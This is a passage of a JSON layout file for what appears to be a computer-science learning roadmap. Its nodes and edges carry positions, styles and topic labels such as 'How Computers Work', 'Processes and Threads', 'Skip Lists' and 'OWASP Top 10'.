-289.0599306711012,\n        \"y\": 3053.7963038901817\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"OWASP Top 10\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 298,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 298,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -289.0599306711012,\n        \"y\": 3053.7963038901817\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 298,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-emdKpD5uRNuvem5rbFXJ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -257.35962105332527,\n        \"y\": 3194.128717156272\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"How Computers Work\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"K96ggeWqd5OwoNnkL04pc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -257.35962105332527,\n        \"y\": 3194.128717156272\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1eglba39q426Nh0E0qcdj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -289.85962105332527,\n        \"y\": 3280.116619209424\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"How CPU Executes Programs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GDLKJkKgB-i7n0YcV2NDa\"\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 279,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -289.85962105332527,\n        \"y\": 3280.116619209424\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GDLKJkKgB-i7n0YcV2NDa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -289.85962105332527,\n        \"y\": 3492.116619209424\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"How Computers Calculate\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 279,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -289.85962105332527,\n        \"y\": 3492.116619209424\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"U3379F4AO1KSmGtVmPr27\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -289.85962105332527,\n        \"y\": 3333.116619209424\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Registers and RAM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 279,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -289.85962105332527,\n        \"y\": 3333.116619209424\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AxiGqbteK7ZSXEUt_zckH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -289.85962105332527,\n        \"y\": 3386.116619209424\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Instructions and Programs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 279,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -289.85962105332527,\n        \"y\": 3386.116619209424\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DjTQjMbika4_yTzrBpcmB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -289.85962105332527,\n        \"y\": 3439.116619209424\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CPU Cache\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KmPaeu9L_ljttFtmT-oja\"\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 279,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -289.85962105332527,\n        \"y\": 3439.116619209424\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ETEUA7jaEGyOEX8tAVNWs\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 67.9712244806118,\n        \"y\": 3194.128717156272\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Processes and Threads\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"K96ggeWqd5OwoNnkL04pc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 67.9712244806118,\n        \"y\": 3194.128717156272\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RbdT5MOE4L-E7PPWKRITX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 38.971224480611795,\n        \"y\": 2993.332407055286\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Process Forking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 46,\n      \"style\": {\n        \"width\": 284,\n        \"height\": 45.590576171875\n      },\n      \"positionAbsolute\": {\n        \"x\": 38.971224480611795,\n        \"y\": 2993.332407055286\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 46\n      }\n    },\n    {\n      \"id\": \"jVsZFTzyrYEDyR8LiBQL0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 38.971224480611795,\n        \"y\": 3043.332407055286\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Memory Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 284\n      },\n      \"positionAbsolute\": {\n        \"x\": 38.971224480611795,\n        \"y\": 3043.332407055286\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"O6-vG3FuoYet4D0hbiyrv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 38.971224480611795,\n        \"y\": 3096.332407055286\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Lock / Mutex / Semaphore\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 284\n      },\n      \"positionAbsolute\": {\n        \"x\": 38.971224480611795,\n        \"y\": 3096.332407055286\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xUo5Ox_HTgGyeQMDIkVyK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 38.971224480611795,\n        \"y\": 3299.9412997889485\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Concurrency in Multiple Cores\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 284,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 38.971224480611795,\n        \"y\": 3299.9412997889485\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ge2nagN86ofa2y-yYR1lv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 38.971224480611795,\n        \"y\": 3352.9412997889485\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Scheduling Algorithms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 284\n      },\n      \"positionAbsolute\": {\n        \"x\": 38.971224480611795,\n        \"y\": 3352.9412997889485\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cpQvB0qMDL3-NWret7oeA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 38.971224480611795,\n        \"y\": 3405.9412997889485\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CPU Interrupts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 284\n      },\n      \"positionAbsolute\": {\n        \"x\": 38.971224480611795,\n        \"y\": 3405.9412997889485\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IEX6v_MYpE5Ylk_28K2ZU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 38.971224480611795,\n        \"y\": 3458.9412997889485\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Processes vs Threads\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 284\n      },\n      \"positionAbsolute\": {\n        \"x\": 38.971224480611795,\n        \"y\": 3458.9412997889485\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"C1eNsPjiQo8INbvL2Lt7L\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 364.5440348728025,\n        \"y\": 2835.048451525693\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"K-D Trees\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"K96ggeWqd5OwoNnkL04pc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 161,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 161,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 364.5440348728025,\n        \"y\": 2835.048451525693\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 161,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"K96ggeWqd5OwoNnkL04pc\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 364.5440348728025,\n        \"y\": 2888.048451525693\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Skip Lists\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JnJbJtsqKbVETY2vdLqCO\"\n      },\n      \"zIndex\": 999,\n      \"width\": 161,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 161,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 364.5440348728025,\n        \"y\": 2888.048451525693\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 161,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"diInbFoBy8YracmAhlDsu\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 251.13608890730143,\n        \"y\": 3651.669282617722\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 251.13608890730143,\n        \"y\": 3651.669282617722\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"pLBfkzi0qfgVRqi_4AmMI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 39.04484613528683,\n        \"y\": 2049.9610617973904\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Co-NP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 113,\n      \"height\": 50,\n      \"positionAbsolute\": {\n        \"x\": 39.04484613528683,\n        \"y\": 2049.9610617973904\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 113,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 113,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"hTPLcuOW7eEE5oYhNfmOG\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -516.9617569699752,\n        \"y\": 1663.9760683904424\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Bitwise Operators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-bawIWfrYuAxy8cP-AGFS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 233,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -516.9617569699752,\n        \"y\": 1663.9760683904424\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"M0aRyhxjzTWUOW95D1g1y\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"Xw4lLz2zWuTkNu8r4oheF\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"mbCXMk97_HKXG3d4TxBOC\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tU4Umtnfu01t9gLlnlK6b\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"RlKZzs44biQPgxD0tK1qx\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-tU4Umtnfu01t9gLlnlK6bz2-RlKZzs44biQPgxD0tK1qxy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tU4Umtnfu01t9gLlnlK6b\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"jHKCLfLml8oZyj4829gx0\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-tU4Umtnfu01t9gLlnlK6bz2-jHKCLfLml8oZyj4829gx0y2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tU4Umtnfu01t9gLlnlK6b\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"n4IsklfYJXFIyF1rGWuEa\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-tU4Umtnfu01t9gLlnlK6bz2-n4IsklfYJXFIyF1rGWuEay1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tU4Umtnfu01t9gLlnlK6b\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"1bDjg-KBDKRmE6f1MWY8l\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-tU4Umtnfu01t9gLlnlK6bz2-1bDjg-KBDKRmE6f1MWY8ly2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tU4Umtnfu01t9gLlnlK6b\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"NM7q5REW1sJgMhxJhPpLT\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-tU4Umtnfu01t9gLlnlK6bx2-UpBrpmrUwYUB9eesNxCq5w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NM7q5REW1sJgMhxJhPpLT\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"JI990pDX2jjNe6IH_Y_t0\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-UpBrpmrUwYUB9eesNxCq5y2-JI990pDX2jjNe6IH_Y_t0z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NM7q5REW1sJgMhxJhPpLT\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"G2dN2FO0SN_I-5AhO_EUk\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-UpBrpmrUwYUB9eesNxCq5y2-G2dN2FO0SN_I-5AhO_EUkz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NM7q5REW1sJgMhxJhPpLT\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"gr8BK6vq4AVwp_aUozZmf\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"id\": \"reactflow__edge-UpBrpmrUwYUB9eesNxCq5y2-gr8BK6vq4AVwp_aUozZmfz1\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"tU4Umtnfu01t9gLlnlK6b\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-iogwMmOvub2ZF4zgg6WyFx2-tU4Umtnfu01t9gLlnlK6bw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NM7q5REW1sJgMhxJhPpLT\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"vQm046o6ozcvLoqg9L6eL\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-UpBrpmrUwYUB9eesNxCq5z2-vQm046o6ozcvLoqg9L6eLy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NM7q5REW1sJgMhxJhPpLT\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"UpBrpmrUwYUB9eesNxCq5\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-NM7q5REW1sJgMhxJhPpLTx2-UpBrpmrUwYUB9eesNxCq5w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"UpBrpmrUwYUB9eesNxCq5\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"7a6-AnBI-3tAU1dkOvPkx\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-UpBrpmrUwYUB9eesNxCq5z2-7a6-AnBI-3tAU1dkOvPkxy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NUWk-7IXmMU-4TT-oS8fF\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"-bawIWfrYuAxy8cP-AGFS\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-NUWk-7IXmMU-4TT-oS8fFy2-vjMqqFsTxSjaiYxmliwLiz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-bawIWfrYuAxy8cP-AGFS\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"vjMqqFsTxSjaiYxmliwLi\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge--bawIWfrYuAxy8cP-AGFSy2-vjMqqFsTxSjaiYxmliwLiz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"vjMqqFsTxSjaiYxmliwLi\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"U8AgY6I-62mN5Ohg9MsG6\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-vjMqqFsTxSjaiYxmliwLix2-U8AgY6I-62mN5Ohg9MsG6w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"vjMqqFsTxSjaiYxmliwLi\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"DtG9EJonWi4_2oQ4fWOKY\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-vjMqqFsTxSjaiYxmliwLiy2-DtG9EJonWi4_2oQ4fWOKYz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DMuMsEowpevTCALtziwTB\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"FZ8znJSz8PvQlnEyRLXmQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-DMuMsEowpevTCALtziwTBx2-FZ8znJSz8PvQlnEyRLXmQw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DMuMsEowpevTCALtziwTB\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"-De1hU2ONGwhQmUpsyrCO\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-DMuMsEowpevTCALtziwTBz2-YLCmZvoLkhOk9wlgYW2Msy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      